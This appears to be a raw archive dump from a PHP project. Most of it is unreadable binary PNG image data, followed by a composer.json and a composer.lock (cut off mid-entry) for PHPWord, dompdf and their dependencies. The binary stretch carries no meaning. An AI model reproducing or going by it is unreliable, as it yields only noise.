��1���x���ǎQ�'Գ�QȠ3dP���a�	���YКj���j�?~�:�Uͨ�9'V	�֊��jLg�R�1�g�`�Y�
e���<Ҽ~2���0U�8T-I�K�;�YFd-{J21S�DqL�T�_�JWk)��3�"�*s�CZ[�R�]+>�p�H^mk~q4�;���ҔY��(�"�G�P6��xj�qNa���'纚��1�om���#�h�=w�%��T��H2�����ty<�x^)$!?C8��XY�o�Wy�d���`=iM*�x��	�1���碈��T���
I�ñ�rW^�P�>k:�U�H*��.8��q��jXx��(KN���`SI��,����<RT����Ǥ�>[{�<{�*W����#Љ#�
W��������3�>�|��\!����~��K��{	�����n~��c~FkX���
=�/���=0)�̻U�yNk�8
5�Ec���xυb�q	t��(¹���60ڤβ��`=�Ƒ�>�DB�૒t4�3�0�f��j�w�N�R'1Q7e�6bgw���u�\����,(��vP֑������B���K���w����<:�q����DJ3��9��#p�
l=:��c���2U�@��ttL��xϓR0+2��6�∼����J�ȼ#�cb�Bq�4�{G]�J�Ǭ�t���.j[���U5����_�q���[�
��1�ݦ�pQ{tq%����:ߤ�j�sH#k�Ն�1<{�T|��(d���om��� �X�`�	k^�-H+�B�h����7H/�R�ƇHS�R9�0�=jo��J��I0UImj:q�ג�zFn*��l����H"�+M�:�;C^Myj�`,O�V9Ʋ��FI-$�KjF'�V5���d���q��aϘ��Y0��H�"�-Bh�MRB��C,�:Z�]�>Q׌��<�
��I3��e �@U4�T'�9jS񯼢45��=֊8MH�N��t�����ۧ;��D^��Q�%W1��wh����t1U���舧}r!ٝ���ߡ��A����'5+By�v�1�.N��F�*�t��l�����H�g^b��]��0ϐ��'$:���A�A1�+��)��Cи0\@�U]*4g���a��l����!���$��lD1Y/Ƹ�"+�fR.i�mq�0�qS��K�5�JJ<����]�H)��i�)s���D�$U	�������ȕ�*:��c�1!�v5�>���%��/����4Y�`!8��ڐ:IM.��K%y�YE��$)�6�#T�noE�!�R�e]A�M�Ydl׆I6�X��(��,�-cH� ED]���56Ԉ�-E^��"* 7�gs�����[�x@E��#R��GM��L�#5�Z*�u$^ཤ�!K�����;[���^p��Q�/�L�ד����.�F�	�����uQ�9�yQ�� $ ���qh�|
�����C�p����(�YB�
�mm�B5ȿQ�ǝ�T5��+�!�:dU���`,�)3r[��Z�2�c���E��E%	�s��1i��1XAe"/�=V��j�q�W</*N&+��M&<�}�<�3q�;���Hc�Ƴ;#*C��;���fS���|PO~/鲻�GETuɱ�D�E��Vx�:LU�XU�<|z0�L��d0����V�"v����6��`��*����8��Q�Xi!!֚n�`�
���l�#�_|�Q7�l���g�֊\	2-1�E{u eO���<�f�m��'�!�3����b�%.�6�"J)̤b�����v&�a�p�=�Y�8/P�IIi�h<u��]W�Hc�'1���`GGTq��FF���`"%>�!�Y"�p�BI���
+z�I��&��$±#.Ԇ;;\�JJ�o	�D)������J�5���*�[X�:*���ZJ���R^j��D>D��3e�S���z8
 ��[ۖ೑�,�e�Ξ���s�)ৎ�{�!���T�&,ʢEI��Y��xL5�
X�E��#j��J�4��R(|�������'�C*%�ӄO�@�1��aVW��`gg�TG�n���Y?����$�3z]�(s��>J&�|I��I��c[�=���mgٛ�������z�ӈm%�*�)O�%+s��@�+D*bK�^�J��2ϱ�%)H�o�	���.�Z�N�$�]�sԝ�A6�ᥠ���s��E��F��R-�:�lF*�� MM�5V9���Ɔ�%%EYs1+�
T#UL�I���p�D�(�S�2/P����0Bu���ƒu(��͂`)�:l)���lb���bJc��ĐVעΐ.@�;q�&�Sy�)*oQ�3�k*���I��/�(C4��Z��^Z&UH�J�R�H���q�9�$�Қ
�^��\9a*%;Ƒ!�R�
�C9C�y�a���#Fi�;�!�l��Y��9�UF!�)B�-kBEl����ш���f�v|��C��'/�qHHg��R�z�(�D���X��02l���W�EV���HV�.2M�ɧL˂Π��L
��v5.���;�1�i!YC�%Y$)<UM9_�2��a)��z\)J&�{���SF	O���f%q�(k��K6��t{����@�6ΦL��^��q���A�%�&�
i�.Xq��C��j���2�d��	�sTuE��t{]�u�UM���=*g�UŸȱ�P�	�UI���8b�Ͱu� �a=��∪2؃�bB�I�
�y˶u%�U^k2�]��uNa]'�E��U�0>pP���Amk��FR���`�CJE����V�ZA��!���@xG]W(!�tB�6"%lMW�d�K��x�QJ"U�: C.���݅!N4R*����&�d�fւ����Y�Sؚ]%��X�ǰ��
�(�(�a���(�4a�غDQ)��D�U�g�:����yp��H�IUJpa��xXX㥡_�\���F��і���b�7��_�����Z���'Ѝ�
e2���ǁ7;�ǁ]������c-[J�8���L�,_�g|��l�+%^ge���p�*��:�yWq!�U�4��D<��1ȧ|T{��X�����Q��?��d�Z>�`<��:V��������l����ߧ��������c�d]5{���
�o(J�+>d��de��^�������S>n,��B���҄��pe:�je�V��9�UM�&L�g�,y����$�$7��tLizB3�K�����q��5�]cY����l�WSXˉt�HwE)��sj�x�l“q�n����,����8^k-O�a�F��$qB��VɗO{E�J::�%DJ�;�����sg�{����=>�"�Xj�D^����S���,+����g!��I\Y�@^�5|f�'f9O%��ͺdl,�uL��^p���U�7�7Q��l�d$8'<�]���3lO���`c�d��㈼�ʗy�ŴG'N��
	y��Z�'��ߧ�287��y�])�����n�/	�R�g�����]�QNp��P���k���r��b���z��\x�L�	�F�h�9I�+ʝ���(�H
�gCAR�hHm����%C`�$�-�:��d�����!�����v���ȔW�=������لDE�;����|=�~)p&�1yS����pQHT�BQ�x�)ӄ��|z{��<(��KL�K�Kȁ�tJ$�:����D���|Ya��v�(M���[�SUũQ��x��lF'鰒$<`j�D1�#8�E�r��;��dj{�)��Sِ18����!��f��S�E��
�{#�C��i����M�13�YAQ�����365��fKI|m������w:ó{[�T�xgI㘏kE���9ZG!o�����)��B�ظ�a�!�&`U�Uq�M!�<F���$�8O]|������'E�ϧjK�MZO��M'��g���g��^�2�൦����*�;�w��n�-J
d���
�RÃ�}>d,���%\�a�C�;�=q�i:ᩋ�����(�86]oEJ1�)I/���_�LU��E~�R�����-ǎ���Ms�G����E%�������H�<1�\��-3�1�KN��{8 JkԘ
%�����6�"Ps��.o2͐��/'�s�`Si-w��iO��"p!�u{wo,�T����	enPM�r�����q���'���r��x��x'E����g�a��e�����9+Js���<m��dgVROgh%���	.�3!�.��pblH�NRL������?�9����B��4ӆ���D�eAQW�J�%t��YY�ҡh�T�x����\�1���
p�*�ʂ�ad,;�'���O�%�q�yصax�Ƞ3���K��u|9CW�ǚDG����
��t�O�Iɫ
!%9K������x��æ=�����H)t;ؼ$�j�N�Z�E(����BJ�A�Y��Q��Aj�݀_Y%NSp�YV�t��8Ψ.0�q���i����t��KlU�Xˉ�dZT�2.2r|.Ҝ��,���ٙp�:[��D:�#"2�����\�2v�b��Pއ�2�n�%�v��[h���=x`T�s������pa��˝�k���}�I(sݖa�P���6ø���_
���w�������|�c=���#g��ߥn���_@ Gy�yH�U�\y\#|�l�C��W�e��Yj-�Y�;ʜ�Լ�����W��uA� �w���Lͯ��,c6���b���v*�o'	;�	�UEX%���xQr*/y�;b������<'J���*�������س��!Ȅd�9^�elT>v��&cJ@u;��Q��k���ʐ'�v��2�ʒh��(�ɧ�d���?��^���%CxPIA'h�<dRk�O“�P�D����%��!�u�n�3�2��Hk�J�8u��Ԗ"���]�A������DZ�)�Rd�x�D
6��`PU��l�%a8?���x�@��1]I��6��z�
�7W[��j�p���'1[i��n�1�e��
ϵل�e����bg��d2fow������
�MR�����{��R"[�UJ�p������T�%������5�u�NQ0p���ʉ<��m+%^�
T��g�HY�shEϝ�_��ʒss����7�>-�0�w����k�l���NEq��:,�u_Y�@RFO���)^�\S]G��G�P�
 �� �C{O�<�H�)LX��s�%]�ňrJU��Y�-x��ㄞ����ģ>�7�Rx�V�B%�T�>�,�U�j���֖t�UY�g,��E�P=yV��ʒ��8qL��eJ)���eM���dY���T�RZ��#&e�p^�JEBa��L~�ɞ��a�{���~�K	y��׆�{�Ϫ&��Kt�ޓ )�8�8��D8K,`5M(��N��<�U�^P�Bk,P{�� ����b2��K�U�&��$J[��˺T�G��)�\��Br��klUb�\C��Gc۰2Yk��c��-Z�D`붵A5l\:�)�'w52M��x<��<X.H�J�K�EPYCQW�J�Yɬ���b?���j����@��*B:�o�os����V@J�sC���/���9P�=HC�;�Ì,wD)(��B�eHzB
��P�xD!�������aQ2 S���Dl��I���Y�D8�D ��:���$�hWC]��'j�!�,��%�*|
�ID���ְ��G���ɔ~��5��Ԍ�ֈ�)�;;�0����s�*9`���9m]�`bF8\$��GKE������cU�%&��X��
)�Z��ԐsD_+Fi]lm��a�E#�v{X|�tD�iUb�$FOּb�ۡi�F����NŚ�քIY���D;I����,K��!�	»r�Cd���;���Նnҡ.�Ǣ;���l�]S3P
Ae�x��
�%����
Ƭl����;�+��o�sK;I�C~N.��/���:w9����L\$/`�v���W�16��	(F傢h�@(,PaJ�qh��爬�'}��i=����T
�sD�
H<g<i$�
{�!
�(�ް���c�QL�ӡ��`�D��(�
�=e]S�u��e	R�L9c��80���$��(��lƒ�����l�P�ϣkG�V	��@�djRx���%�H. �>�1��X�B��7�"	h<_���7��V�II7�Q������o�18�9\m�zP�.kq�����ކ�^���<޺ƂT��r�QB�`�Pk��(�L���$����9�y:�.���{�F����<c��)�Z��wa�;!0���"(����5m�P��@�.$?�=���"R��
C�?Z�q�BX%����R���
�˴+��k.z��e� ���7�[Tj�HN6���'�'�fd��h�N�&������q��7�y1��B�������焠�x����[������0�k�ޮT�
�оAr�R��kx��^��q*����Ԅ̝cV��>�a���:⻭᫫�_�J��Ms?�5�U�gʒ�tJQ�T�b�g��'|`�z���|��֪��P�nɁ���3g�OӤ;�q��|����d�q��E
��	���̔FxAU�R�J�=�r�m�1kc����-�
����%U���(j����1e��yN���,��4g++��U\+*�e��*�A�Y�բ�R�sq��,�<�u�E�/Φ<3���<c!�:+8e,����x���y�,�00����z��"$)<N
����|G���
cXq�����������2�~�&�R6�]JH'�W�se����y���I৏ㇳ��Â�y�P�q�C��"��L���	��,�?쵴� 0)����p�����*p���7zԉ ��������猀�D0G}���W;��Z�(���q2�/K/��g�0�k�Ýz�w�R�Z�Q�)�  kN@�)��Tx�� �#N;$�!��
F'Opb�'�1.j��UV76�
����c_H�@qV*�(A�<�u������a�Q��W�[1�r|X��I�2��OK���O��`C��s���%�38�0"�����
��T՚��[,F8�&_�	!	���z��^Y�|���9��d�:t�ȅ�I_j���q\�g��g<��\�
.�
:���./�D��#6����9'9i0�KB�S<�$Oy�S(�%f��3"��K�\%�Hؓ]�����s��W�b?��HE!4��(�f�#V�gzϞ�-���Oy�#�%�|Cv�!1_h�̒F18��v�a�H�ep/�pc�p8]Ud���Y�E Y}�^��(����Rn�J��%�,nJ��ʹ�-����2�s��ͻfN�"h�z��|���@ݣ�z;�3a�d"穓��M�������;	v:=,��sOK|D[8H���a�ݘyOYUtQtu�F����:ŕ���O�ߡw��)!��`�-���������e��Y��J!��|Sk���a���a8'�����,�Z�G̻�	�m>ذ�٨�N�N�'r� pƐ$	��U�l�.+> h�����;�a���!�)�rv��vy}�ˇ�]c�k���@xOF�>=�6�*V��Hj�ӌ�ia�k�.��û�r�O%�&T��G������	���<��g3�h���X�_��[�|�@
�h~\%}`���;�&txT&��f�{{7�K�agp���y?a��bE��-n6Y^�t��!��[�v.G���\Y!$[M��_T���fO�c�>v:巽_x�6'��!�h;Z����Q�|7o�7��!,�h����E<)�I�>r�/o^�O3�6	8�����E����%��76��h�K��.8v 3+��="T'�S���}��zʪLŦ��*jk�M���yvBJ� $�,��j|��^�Ƈ�E�	э�-�$��q�ߚs2l8���K�lu]�4�]�~>*�D���ɣc�u�?�������HHH��^�β��o*%L)~�񋼐|N����{�y�
�1�"�5�x�E���Bx���Vk}0P��H/�OX]�;B�!���η2�z�F)U�"��?�N=�

��X���g�B�5�nKYoS��{:�F�I!VI]�^���9�>�d6+�<B����������{{1�B
���ݪ����_^��;	c;�����Y�7����A!��4��s�?/=ה���P!�(P��/������.� �����@��ss�A���g�~n���.��:��&h�6QKN2G��^H,{��ڊ��dI�q�ϼl]v��O�?w�hN��aQ/�C6�?��Q���݉�Z9����)���V%�����sX�� �C��4���(�D(����%�@{��ەa�!�Ok�-i;��_#j96��o�]g����'��u�����<�����%?~o�� �5����7D�v��_��[r�S���&_B`t�Q4����%Ǿ�@1�&���Y$_�=?
�k�[SV�� �:����:�v�|@z��`�P���ۓ���-�3���~���QNo%���h��W����	��L|���)�-�MK�׋C3�8��.l�������:{��K��'	�!�ڽ��=rE�ˀ;�	��Z������v�b��~��~	���QĆ\<��!T%{��:�mK�c��Z�^	ܿ����%�k�t�S��O�2�̷k���ۥ�~ٞ�tgUq��X�)`�V�y$�M�a�C�����Shv����O�Q��KBp�{N�4��h��$���	�ԑR(!؜�P���s�����
�~�'�Y�W� \$BnH�`�b��K��f���8��#���B)kɘ�ٚ=tS��{�E�>�8���R�*a���c��Uڭ�.a\�-S���Ȏ�;�ISk�L���<=B~ͨ�:5���l��"�(�K�U��&æ�J�`�gd�i�<�≱��|������/.8e	\
�������[�����i`��6NzϪu-��4��6S��7>|��,�����ήK�}G��?մ��Μ��r-���	n6��`��K��/�uYu�l���&�<`�u�C-��Q�v�ҽ��E�Y�X����+��̀��t���Q���y��>��,��O���\G�����^���Zj�!�(�p1�0������뜊/��(�����%m|��`�=����f/�\N��sB�n|�M"�n�#���u^��^���J�2��[�ܯrk�o����zQ�l�|��	�f��Ms����2�2�Zp�Q��<�n�V��G~�Z4�V�o�v��<g��|?_�2|�䳍��a~/�Y_��}��/��ʼn`�y�GJn=4��O^&e�=��A?ߋ��K?��\�^�?~��'O��	��/m9�a��/L�E���X�	������ ��V��L��[r�/]r��	{��?�ϓ�?��{}�2/s�.�W�����n�s,��|!��n9�;ѝ�h�{���w�P}x����N�^r�=B:��-�| oji�Y�w�x��l�=���}�_"x���<xÒ뼍���ʖ�{۫e�6y=���}��;��Ƚ^��&+���٭-���~i�����}�P?�Mڔū	���0n�.>�'Z���%r����&8�����N�¸xý�W���0[�ƶ76��]�o��~{��x��Oi����#����MI<�W���Q�EH��/Z�����;Zڟ�����	��-鷟\ү��q)y�Z���e�#`s>BP��"���s�cI۫���ji��߶�h9�eB�z�R�bB�a~׽�eN�J�N�
cZז:�����^	����I�[�7��"�%�6g���&EGsެ�F���z��F��J�+��p�<�cڷT��ds܌��e��-��n|��3�x�2���C5R6���g�)���{lsϟ����d��C{Oy�V���|<�C�m�����ds�6��ve1��y��y_\ǩh/hQ����5�9�:�!��C��`^�����vY.|I������G��%L�Ř�Mg�-hS�<~vAǕ��[
����-�kB����̀/9>�Y�Pq�"����=E�-�޿�`r~��}��0o|w	��z�š;�=w�3���vn�>���ϰ8$}���-�u
������c��	co�Q�2k9^V�4�?�^&�u�K�7��7q�B��>��ժ�4aA��x��V�Ю>��q3��k‚3&XʿoQ���p�Q`��A�~N�š��������,���{^���s|A� _��g�n[|7x�?�����_�L{6րWGD[����/� ��N��%4�O,��9F0�oU���]&k�q��±/V6^�)nYz�w׻��G/�w�D(��vM���9����m�y�K胈�ܝˁB8N��ڽ�_�b���/�򽴇��v�{�#��ӎ�z�[���pT����;�N‹��-�_J�࿚�\$_�|��P�_O ����� ��(V.�?����ܹ�ھ��gK�/�<:��;Kf9
U���0I��%��.i�o�6.�1w#@�����봇f���G{��-E[�㫚{��m�p��\�=P�r��?{�nj�"�Æ����v/��y���v�S��bO�=����xzF�.����"y��Pl{�{������m��[�Jp�|8݂�x#�-ǿ�਺��<�Q���/�-��Pk��������r�c���e-�e�z.��Ո�YNz�Ӟ�
�i�-Õř���_n�,��{����5�)�my&�	N��1�6ϲ�R��%צ��X�/��T�`<�G��+�n�?T�957�,�f�c� ��}{��	A���b����=��(���#Ɩ�<���ָrz��BҎV����B�%�(Et���-�W�X�)*��P����qޓZ�]��ݣ��(�޹s��Op(m�`]���]B�˶�Cڕ� D���Ζ�eZ{������֢p`���ynI�}�9����sIº�cpZ~��_GŰt�H"ȧ�ğkͳk�$�_���7q�Y��
�����l�����_�!
�|�����{��l��������(���-�9~��&ii����G�?���>�r�oԒs!�_[_�?L ^���1��z��v���o�v���~��o�Oi��U�Wn�x��z�ߴ����w��o��#�wqP)��-���^��������&��-��|wA��?�m��.R�ρ_;�Ϗ(��F^*��%ǟP����{�/���s9�_��Ms������)/4��0��p�u۞��z�:� M����@qO���In
�a��������H��Q�*߯o��c���u���o��߷����.��o�޼\�B<��{��-A~�0��D`ޭJD�"��P�U��	�9#�聯W*��H��{�ю�����ki����.w�΍��?I{�g�oEK���K;/�塷?
��%�	�6��s�8��i<�贴�KI��gލ"��/;ƫDHn�zaB:�i�����R֖�rC�]4𷗴'��aEؽPY�p��$YJþh2���v���$an����X�Kh����֏m�wq}����=��<
v�-o�k�|���!�,L[��l�m�����^s��r���O�=�s.�^��R��ġ3�'6A-�wI��]���Nu�����v�Y�m�-l����]���1����)h!Y}�[��,/,lX�v��CmIWaܴ���?�<,!eYĀ5d�9LzZ���諒0��$e�<F{r�dy�	�<_N�E������W�g	���-�U�"�ni������@���.{�=�TK��`!�\档E2i:m�so�ea�-���-��&���^����Z��,� 8sfaXq.�����1��x��*8D��I���GX��q�6��f�`��)�K͵?��~��%j��桾�ѻ�I6$��.@Tm���7�i�mHs�m��]B�_[��OҾ�-�Q���-���(|��p��%4�O���?�{<��SݮWB���ߵ��k
���}�]�Y�z�w��fB���]����6�d�>���
>�Ž_�/��^>+�F��&�-�Ylv����.s�E����r�L�M��?/t�χ~�Vl���
AB�?�r-%�,%�����"A�i��X�I��D/�i}7�G`�/_po?��%�~!�e킀%h�Hགྷ����ڤCY�푌:���$�qQpu�������SI��;�?�}�����\roo�=���ѷ��!W�
��7h�;��x�Q�1��1!L�6���O�<c[?���G��mw�g�]^�)y���^�c���<.%����!dx��#��u��{��x풐�wӎ&|
�)�!n|C��/�Y��h')=G����h�W�'�WW9��|�����7�r��^�r�k��EJm�!YD���H{�1	<��C������~��pYv� D����/&`ڈ_^K�ϴ��Kk�E��Ga���8m=D�����OF���VK�a��u�}�qB��t~�`���֌ ��6\��y0B+�.�T��5{kk�V�ǵ�Ї%(�e�rk�̶s�8���mso��a�����[˹jڵw�𲲖s�	aU���jK��	�W��S��W�rT�h�o�%1/S�xV��n�yK ���a�/;>"��E1��9~�r�c9�;r�E2Wem|�QQ�b����!p����H��*|���K�,���{_��h�o;�g�b�y�x�R������鍟�����c7�����Xr�1�������-�����������o����������������;�oki������߃��%�^�v�O���%�Y\�;�O���-��F�m�I�=7~�����M��������K�����7p*�#e��w�Ƃ�{Z�ӟ�I_F��J�yc����JBȒ��WϘ�	�)n��?�~��Aù'�k��y�>�n��B����?�ڧ��}~�E�߼��������Y�|!���wy)��5�y)�_�!
�;I����{��gl�@�����R���;�Pk��$d����v�%>Nj��z�]/��o'p.�z:B�Fڝvo!P��&	w
o���"�}m�74�y��_��M;^�5���j�R�K���,撄��k���>0_K�`����5�!��aI	�ˈ6����Fi�l��,��F-Ǿ�����u٥��M-+��/���|���=�\��WJ�h��J����}��u�&_D��,�����AĶ0Z�AP
m������oi���{�H!s-���Y��(ڐP�b>+�/
��k�a%tEXtdate:create2024-11-08T15:10:09+00:00E��%tEXtdate:modify2024-11-08T15:10:09+00:004��i(tEXtdate:timestamp2024-11-08T15:10:15+00:00h��\IEND�B`�composer.json000066600000000140151150443020007260 0ustar00{
    "require": {
        "phpoffice/phpword": "^1.3",
        "dompdf/dompdf": "^3.0"
    }
}
composer.lock000066600000041266151150443020007255 0ustar00{
    "_readme": [
        "This file locks the dependencies of your project to a known state",
        "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
        "This file is @generated automatically"
    ],
    "content-hash": "d93a14753f0ad957ddcc0d91c5996cb2",
    "packages": [
        {
            "name": "dompdf/dompdf",
            "version": "v3.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/dompdf/dompdf.git",
                "reference": "fbc7c5ee5d94f7a910b78b43feb7931b7f971b59"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/dompdf/dompdf/zipball/fbc7c5ee5d94f7a910b78b43feb7931b7f971b59",
                "reference": "fbc7c5ee5d94f7a910b78b43feb7931b7f971b59",
                "shasum": ""
            },
            "require": {
                "dompdf/php-font-lib": "^1.0.0",
                "dompdf/php-svg-lib": "^1.0.0",
                "ext-dom": "*",
                "ext-mbstring": "*",
                "masterminds/html5": "^2.0",
                "php": "^7.1 || ^8.0"
            },
            "require-dev": {
                "ext-gd": "*",
                "ext-json": "*",
                "ext-zip": "*",
                "mockery/mockery": "^1.3",
                "phpunit/phpunit": "^7.5 || ^8 || ^9 || ^10",
                "squizlabs/php_codesniffer": "^3.5",
                "symfony/process": "^4.4 || ^5.4 || ^6.2 || ^7.0"
            },
            "suggest": {
                "ext-gd": "Needed to process images",
                "ext-gmagick": "Improves image processing performance",
                "ext-imagick": "Improves image processing performance",
                "ext-zlib": "Needed for pdf stream compression"
            },
            "type": "library",
            "autoload": {
                "psr-4": {
                    "Dompdf\\": "src/"
                },
                "classmap": [
                    "lib/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-2.1"
            ],
            "authors": [
                {
                    "name": "The Dompdf Community",
                    "homepage": "https://github.com/dompdf/dompdf/blob/master/AUTHORS.md"
                }
            ],
            "description": "DOMPDF is a CSS 2.1 compliant HTML to PDF converter",
            "homepage": "https://github.com/dompdf/dompdf",
            "support": {
                "issues": "https://github.com/dompdf/dompdf/issues",
                "source": "https://github.com/dompdf/dompdf/tree/v3.0.0"
            },
            "time": "2024-04-29T14:01:28+00:00"
        },
        {
            "name": "dompdf/php-font-lib",
            "version": "1.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/dompdf/php-font-lib.git",
                "reference": "991d6a954f6bbd7e41022198f00586b230731441"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/dompdf/php-font-lib/zipball/991d6a954f6bbd7e41022198f00586b230731441",
                "reference": "991d6a954f6bbd7e41022198f00586b230731441",
                "shasum": ""
            },
            "require": {
                "ext-mbstring": "*",
                "php": "^7.1 || ^8.0"
            },
            "require-dev": {
                "symfony/phpunit-bridge": "^3 || ^4 || ^5 || ^6"
            },
            "type": "library",
            "autoload": {
                "psr-4": {
                    "FontLib\\": "src/FontLib"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-2.1-or-later"
            ],
            "authors": [
                {
                    "name": "The FontLib Community",
                    "homepage": "https://github.com/dompdf/php-font-lib/blob/master/AUTHORS.md"
                }
            ],
            "description": "A library to read, parse, export and make subsets of different types of font files.",
            "homepage": "https://github.com/dompdf/php-font-lib",
            "support": {
                "issues": "https://github.com/dompdf/php-font-lib/issues",
                "source": "https://github.com/dompdf/php-font-lib/tree/1.0.0"
            },
            "time": "2024-04-29T13:40:38+00:00"
        },
        {
            "name": "dompdf/php-svg-lib",
            "version": "1.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/dompdf/php-svg-lib.git",
                "reference": "eb045e518185298eb6ff8d80d0d0c6b17aecd9af"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/dompdf/php-svg-lib/zipball/eb045e518185298eb6ff8d80d0d0c6b17aecd9af",
                "reference": "eb045e518185298eb6ff8d80d0d0c6b17aecd9af",
                "shasum": ""
            },
            "require": {
                "ext-mbstring": "*",
                "php": "^7.1 || ^8.0",
                "sabberworm/php-css-parser": "^8.4"
            },
            "require-dev": {
                "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5"
            },
            "type": "library",
            "autoload": {
                "psr-4": {
                    "Svg\\": "src/Svg"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "The SvgLib Community",
                    "homepage": "https://github.com/dompdf/php-svg-lib/blob/master/AUTHORS.md"
                }
            ],
            "description": "A library to read, parse and export to PDF SVG files.",
            "homepage": "https://github.com/dompdf/php-svg-lib",
            "support": {
                "issues": "https://github.com/dompdf/php-svg-lib/issues",
                "source": "https://github.com/dompdf/php-svg-lib/tree/1.0.0"
            },
            "time": "2024-04-29T13:26:35+00:00"
        },
        {
            "name": "masterminds/html5",
            "version": "2.9.0",
            "source": {
                "type": "git",
                "url": "https://github.com/Masterminds/html5-php.git",
                "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/f5ac2c0b0a2eefca70b2ce32a5809992227e75a6",
                "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6",
                "shasum": ""
            },
            "require": {
                "ext-dom": "*",
                "php": ">=5.3.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^8 || ^9"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "2.7-dev"
                }
            },
            "autoload": {
                "psr-4": {
                    "Masterminds\\": "src"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Matt Butcher",
                    "email": "technosophos@gmail.com"
                },
                {
                    "name": "Matt Farina",
                    "email": "matt@mattfarina.com"
                },
                {
                    "name": "Asmir Mustafic",
                    "email": "goetas@gmail.com"
                }
            ],
            "description": "An HTML5 parser and serializer.",
            "homepage": "http://masterminds.github.io/html5-php",
            "keywords": [
                "HTML5",
                "dom",
                "html",
                "parser",
                "querypath",
                "serializer",
                "xml"
            ],
            "support": {
                "issues": "https://github.com/Masterminds/html5-php/issues",
                "source": "https://github.com/Masterminds/html5-php/tree/2.9.0"
            },
            "time": "2024-03-31T07:05:07+00:00"
        },
        {
            "name": "phpoffice/math",
            "version": "0.2.0",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPOffice/Math.git",
                "reference": "fc2eb6d1a61b058d5dac77197059db30ee3c8329"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPOffice/Math/zipball/fc2eb6d1a61b058d5dac77197059db30ee3c8329",
                "reference": "fc2eb6d1a61b058d5dac77197059db30ee3c8329",
                "shasum": ""
            },
            "require": {
                "ext-dom": "*",
                "ext-xml": "*",
                "php": "^7.1|^8.0"
            },
            "require-dev": {
                "phpstan/phpstan": "^0.12.88 || ^1.0.0",
                "phpunit/phpunit": "^7.0 || ^9.0"
            },
            "type": "library",
            "autoload": {
                "psr-4": {
                    "PhpOffice\\Math\\": "src/Math/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Progi1984",
                    "homepage": "https://lefevre.dev"
                }
            ],
            "description": "Math - Manipulate Math Formula",
            "homepage": "https://phpoffice.github.io/Math/",
            "keywords": [
                "MathML",
                "officemathml",
                "php"
            ],
            "support": {
                "issues": "https://github.com/PHPOffice/Math/issues",
                "source": "https://github.com/PHPOffice/Math/tree/0.2.0"
            },
            "time": "2024-08-12T07:30:45+00:00"
        },
        {
            "name": "phpoffice/phpword",
            "version": "1.3.0",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPOffice/PHPWord.git",
                "reference": "8392134ce4b5dba65130ba956231a1602b848b7f"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPOffice/PHPWord/zipball/8392134ce4b5dba65130ba956231a1602b848b7f",
                "reference": "8392134ce4b5dba65130ba956231a1602b848b7f",
                "shasum": ""
            },
            "require": {
                "ext-dom": "*",
                "ext-json": "*",
                "ext-xml": "*",
                "php": "^7.1|^8.0",
                "phpoffice/math": "^0.2"
            },
            "require-dev": {
                "dompdf/dompdf": "^2.0",
                "ext-gd": "*",
                "ext-libxml": "*",
                "ext-zip": "*",
                "friendsofphp/php-cs-fixer": "^3.3",
                "mpdf/mpdf": "^8.1",
                "phpmd/phpmd": "^2.13",
                "phpstan/phpstan-phpunit": "@stable",
                "phpunit/phpunit": ">=7.0",
                "symfony/process": "^4.4 || ^5.0",
                "tecnickcom/tcpdf": "^6.5"
            },
            "suggest": {
                "dompdf/dompdf": "Allows writing PDF",
                "ext-gd2": "Allows adding images",
                "ext-xmlwriter": "Allows writing OOXML and ODF",
                "ext-xsl": "Allows applying XSL style sheet to headers, to main document part, and to footers of an OOXML template",
                "ext-zip": "Allows writing OOXML and ODF"
            },
            "type": "library",
            "autoload": {
                "psr-4": {
                    "PhpOffice\\PhpWord\\": "src/PhpWord"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-3.0"
            ],
            "authors": [
                {
                    "name": "Mark Baker"
                },
                {
                    "name": "Gabriel Bull",
                    "email": "me@gabrielbull.com",
                    "homepage": "http://gabrielbull.com/"
                },
                {
                    "name": "Franck Lefevre",
                    "homepage": "https://rootslabs.net/blog/"
                },
                {
                    "name": "Ivan Lanin",
                    "homepage": "http://ivan.lanin.org"
                },
                {
                    "name": "Roman Syroeshko",
                    "homepage": "http://ru.linkedin.com/pub/roman-syroeshko/34/a53/994/"
                },
                {
                    "name": "Antoine de Troostembergh"
                }
            ],
            "description": "PHPWord - A pure PHP library for reading and writing word processing documents (OOXML, ODF, RTF, HTML, PDF)",
            "homepage": "https://phpoffice.github.io/PHPWord/",
            "keywords": [
                "ISO IEC 29500",
                "OOXML",
                "Office Open XML",
                "OpenDocument",
                "OpenXML",
                "PhpOffice",
                "PhpWord",
                "Rich Text Format",
                "WordprocessingML",
                "doc",
                "docx",
                "html",
                "odf",
                "odt",
                "office",
                "pdf",
                "php",
                "reader",
                "rtf",
                "template",
                "template processor",
                "word",
                "writer"
            ],
            "support": {
                "issues": "https://github.com/PHPOffice/PHPWord/issues",
                "source": "https://github.com/PHPOffice/PHPWord/tree/1.3.0"
            },
